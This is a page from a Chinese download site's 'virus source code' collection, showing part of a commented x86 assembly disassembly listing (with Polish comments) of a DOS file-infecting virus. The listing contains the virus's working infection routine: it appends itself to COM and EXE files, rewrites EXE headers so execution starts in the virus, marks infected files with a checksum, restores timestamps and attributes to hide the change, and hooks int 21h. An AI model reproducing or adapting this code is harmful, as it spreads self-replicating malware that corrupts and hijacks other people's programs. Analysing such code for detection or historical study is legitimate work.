⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 j_sundyb.lst

📁 一些病毒源代码
💻 LST
📖 第 1 页 / 共 4 页
字号:
        MOV     SI,OFFSET L0005 ;dopisanie ogonka               ;9643 BE 05 00
        MOV     CX,5                                            ;9646 B9 05 00
        PUSH    DS                                              ;9649 1E
        PUSH    CS                                              ;964A 0E
        POP     DS                                              ;964B 1F
        REPZ    MOVSB                                           ;964C F3 A4
        POP     DS                                              ;964E 1F
        MOV     CX,DI           ;nowa dlugosc programu          ;964F 8B CF
        XOR     DX,DX           ;bufor z wynikowym programem    ;9651 33 D2
        MOV     AH,40H          ;Write Handle                   ;9653 B4 40
        INT     21H                                             ;9655 CD 21
L9657:  JB      L9666                                           ;9657 72 0D
        JMP     L9723                                           ;9659 E9 C7 00

        ;<----- Zarazenie EXE'ca
L965C:  MOV     CX,1Ch          ;EXE file header - dlugosc      ;965C B9 1C 00
        MOV     DX,OFFSET L004F ;                - bufor        ;965F BA 4F 00
        MOV     AH,3FH          ;Read Handle                    ;9662 B4 3F
        INT     21H                                             ;9664 CD 21
L9666:  JB      L96B2                                           ;9666 72 4A
        MOV     WORD PTR L0061,1984h    ;suma kontrolna         ;9668 C7 06 61 00 84 19
        MOV     AX,L005D                ;SS                     ;966E A1 5D 00
        MOV     L0045,AX                                        ;9671 A3 45 00
        MOV     AX,L005F                ;SP                     ;9674 A1 5F 00
        MOV     L0043,AX                                        ;9677 A3 43 00
        MOV     AX,L0063                ;IP                     ;967A A1 63 00
        MOV     L0047,AX                                        ;967D A3 47 00
        MOV     AX,L0065                ;CS                     ;9680 A1 65 00
        MOV     L0049,AX                                        ;9683 A3 49 00
        MOV     AX,L0053                ;sile size - pages      ;9686 A1 53 00
        CMP     WORD PTR L0051,0        ;last page bytes        ;9689 83 3E 51 00 00
        JZ      L9691                                           ;968E 74 01
        DEC     AX                                              ;9690 48
L9691:  MUL     WORD PTR L0078          ;* <bytes per page>     ;9691 F7 26 78 00
        ADD     AX,L0051                ;+last page bytes       ;9695 03 06 51 00
        ADC     DX,0                                            ;9699 83 D2 00
        ADD     AX,0Fh                  ;zaokraglenie           ;969C 05 0F 00
        ADC     DX,0                                            ;969F 83 D2 00
        AND     AX,0FFF0h                                       ;96A2 25 F0 FF
        MOV     L007C,AX                                        ;96A5 A3 7C 00
        MOV     L007E,DX                                        ;96A8 89 16 7E 00
        ADD     AX,OFFSET L0664         ;dlugosc z sygnatura    ;96AC 05 64 06
        ADC     DX,0                                            ;96AF 83 D2 00
L96B2:  JB      L96EE                                           ;96B2 72 3A
        DIV     WORD PTR L0078          ;bytes per page         ;96B4 F7 36 78 00
        OR      DX,DX                   ;czy jest reszta ?      ;96B8 0B D2
        JZ      L96BD                   ;-> nie                 ;96BA 74 01
        INC     AX                      ;<- jest reszta         ;96BC 40
L96BD:  MOV     L0053,AX                ;pages per file         ;96BD A3 53 00
        MOV     L0051,DX                ;last page bytes        ;96C0 89 16 51 00
        MOV     AX,L007C                ;nowa dlugosc calosci   ;96C4 A1 7C 00
        MOV     DX,L007E                                        ;96C7 8B 16 7E 00
        DIV     WORD PTR L007A          ;na paragrafy           ;96CB F7 36 7A 00
        SUB     AX,L0057                ;header size            ;96CF 2B 06 57 00
        MOV     L0065,AX                ;CS wirusa              ;96D3 A3 65 00
        MOV     WORD PTR L0063,OFFSET L00C4     ;IP wirusa      ;96D6 C7 06 63 00 C4 00
        MOV     L005D,AX                ;SS wirusa              ;96DC A3 5D 00
        MOV     WORD PTR L005F,OFFSET L065D     ;SP wirusa      ;96DF C7 06 5F 00 5D 06
        XOR     CX,CX                                           ;96E5 33 C9
        MOV     DX,CX                                           ;96E7 8B D1
        MOV     AX,4200h                ;Move file ptr BOF+offs ;96E9 B8 00 42
        INT     21H                                             ;96EC CD 21
L96EE:  JB      L96FA                                           ;96EE 72 0A
        MOV     CX,1Ch                  ;zapis zmodyf. headera  ;96F0 B9 1C 00
        MOV     DX,OFFSET L004F                                 ;96F3 BA 4F 00
        MOV     AH,40H                  ;write handle           ;96F6 B4 40
        INT     21H                                             ;96F8 CD 21
L96FA:  JB      L970D                                           ;96FA 72 11
        CMP     AX,CX                                           ;96FC 3B C1
        JNZ     L9723                   ;-> nie cale poszlo     ;96FE 75 23
        MOV     DX,L007C                ;nowa dlugosc zbioru    ;9700 8B 16 7C 00
        MOV     CX,L007E                                        ;9704 8B 0E 7E 00
        MOV     AX,4200h                ;Move file ptr BOF+offs ;9708 B8 00 42
        INT     21H                                             ;970B CD 21
L970D:  JB      L9723                                           ;970D 72 14
        XOR     DX,DX                                           ;970F 33 D2
        MOV     CX,065Fh                                        ;9711 B9 5F 06
        MOV     AH,40H                  ;Write Handle           ;9714 B4 40
        INT     21H                                             ;9716 CD 21
        MOV     CX,5                                            ;9718 B9 05 00
        LEA     DX,L0005                                        ;971B 8D 16 05 00
        MOV     AH,40H                  ;Write Handle           ;971F B4 40
        INT     21H                                             ;9721 CD 21

        ;<----- wspolny koniec
L9723:  CMP     WORD PTR CS:L008F,0     ;znacznik zajecia bloku ;9723 2E 83 3E 8F 00 00
        JZ      L972F                                           ;9729 74 04
        MOV     AH,49H                  ;Free allocated memory  ;972B B4 49
        INT     21H                                             ;972D CD 21
L972F:  CMP     WORD PTR CS:L0070,-1    ;File handle            ;972F 2E 83 3E 70 00 FF
        JZ      L9768                   ;-> nie otwarty         ;9735 74 31
        MOV     BX,CS:L0070             ;File handle            ;9737 2E 8B 1E 70 00
        MOV     DX,CS:L0074                                     ;973C 2E 8B 16 74 00
        MOV     CX,CS:L0076                                     ;9741 2E 8B 0E 76 00
        MOV     AX,5701h                ;Set File Time/Date     ;9746 B8 01 57
        INT     21H                                             ;9749 CD 21
        MOV     AH,3EH                  ;Close Handle           ;974B B4 3E
        INT     21H                                             ;974D CD 21
        PUSH    CS                                              ;974F 0E
        POP     DS                                              ;9750 1F
        LDS     DX,DWORD PTR L0080      ;ptr nazwy zbioru       ;9751 C5 16 80 00
        MOV     CX,CS:L0072             ;atry zarazanego zbioru ;9755 2E 8B 0E 72 00
        MOV     AX,4301h                ;Set File Attributes    ;975A B8 01 43
        INT     21H                                             ;975D CD 21
        LEA     DX,L001B                                        ;975F 8D 16 1B 00
        MOV     AX,2524h                ;Set int 24h vector     ;9763 B8 24 25
        INT     21H                                             ;9766 CD 21
L9768:  POP     ES                                              ;9768 07
        POP     DS                                              ;9769 1F
        POP     DI                                              ;976A 5F
        POP     SI                                              ;976B 5E
        POP     DX                                              ;976C 5A
        POP     CX                                              ;976D 59
        POP     BX                                              ;976E 5B
        POP     AX                                              ;976F 58
        POPF                                                    ;9770 9D
        JMP     DWORD PTR CS:L0017      ;old int 21h            ;9771 2E FF 2E 17 00

L05F6   dw      03FCh           ;<- adres wektora int ff        ;9776 FC 03
        dw      0                                               ;9778 00 00

        ;<------ stos
        db      0                               ;977A 00

        dw      0                               ;977B 00 00
        dw      0                               ;977D 00 00
        dw      0                               ;977F 00 00
        dw      0                               ;9781 00 00
        dw      0                               ;9783 00 00
        dw      0                               ;9785 00 00
        dw      0                               ;9787 00 00
        dw      0                               ;9789 00 00
        dw      0                               ;978B 00 00
        dw      0                               ;978D 00 00
        dw      0                               ;978F 00 00
        dw      0                               ;9791 00 00
        dw      0                               ;9793 00 00
        dw      0                               ;9795 00 00
        dw      0                               ;9797 00 00
        dw      0                               ;9799 00 00
        dw      0                               ;979B 00 00
        dw      0                               ;979D 00 00
        dw      0                               ;979F 00 00
        dw      0                               ;97A1 00 00
        dw      0                               ;97A3 00 00
        dw      0                               ;97A5 00 00
        dw      0                               ;97A7 00 00
        dw      156Ch                           ;97A9 6C 15
        dw      1261h                           ;97AB 61 12
        dw      2524h                           ;97AD 24 25
        dw      0005h                           ;97AF 05 00
        dw      0020h                           ;97B1 20 00
        dw      04EBh                           ;97B3 EB 04
        dw      0006h                           ;97B5 06 00
        dw      156Ch                           ;97B7 6C 15
        dw      2508h                           ;97B9 08 25
        dw      0FEA5h                          ;97BB A5 FE
        dw      07BCh                           ;97BD BC 07
        dw      0216h                           ;97BF 16 02
        dw      065Eh                           ;97C1 5E 06
        dw      156Ch                           ;97C3 6C 15
        dw      0C89h                           ;97C5 89 0C
        dw      012Fh                           ;97C7 2F 01
        dw      7F04h                           ;97C9 04 7F
        dw      0075h                           ;97CB 75 00
        dw      065Eh                           ;97CD 5E 06
        dw      5A1Dh                           ;97CF 1D 5A
        dw      0                               ;97D1 00 00
        dw      9301h                           ;97D3 01 93
        dw      0BA6h                           ;97D5 A6 0B
        dw      0213h                           ;97D7 13 02
        dw      0C89h                           ;97D9 89 0C
        dw      0F202h                          ;97DB 02 F2
L065D   dw      2700h           ;szczyt stosu   ;97DD 00 27

L065F   DB      0C8H,0F7h,0E1h,0EEh,0E7h        ;97DF C8 F7 E1 EE E7
L0664   label   byte
S9180   ENDS

        END     L9244

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -